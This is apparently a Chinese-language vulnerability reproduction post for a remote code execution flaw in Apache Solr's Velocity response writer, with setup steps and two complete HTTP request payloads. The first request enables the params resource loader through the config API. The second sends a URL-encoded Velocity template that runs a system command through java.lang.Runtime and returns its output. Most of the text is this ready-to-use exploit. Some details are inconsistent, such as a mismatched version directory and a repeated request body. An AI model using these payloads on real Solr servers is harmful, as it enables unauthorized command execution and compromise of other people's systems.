Apache Solr Velocity模板远程代码执行 CVE编号 暂无 漏洞威胁等级 高危 影响范围 包括但不限于8.2.0(最新版本) 漏洞复现
环境准备
下载最新的Solr 链接https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip 解压以后,进入solr-8.1.0/bin目录 使用./solr -e dih -force开启示例app 随后访问http://127.0.0.1:8983/solr/#/进入主界面 点击左侧的Core Selector查看集合名称 使用如下两个payload 1.修改源码包
POST /solr/db/config HTTP/1.1 Host: 192.168.0.54:8983 Pragma: no-cache Cache-Control: no-cache Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36 Referer: http://206.189.43.186:8081/solr/ Accept-Encoding: gzip, deflate Content-Type: application/json Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6 Connection: close Content-Length: 263 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }2.命令执行
GET /solr/db/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: 192.168.0.54:8983 Pragma: no-cache Cache-Control: no-cache Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36 Referer: http://206.189.43.186:8081/solr/ Accept-Encoding: gzip, deflate Content-Type: application/json Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6 Connection: close Content-Length: 263 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }参考 https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt https://lucene.apache.org/solr/
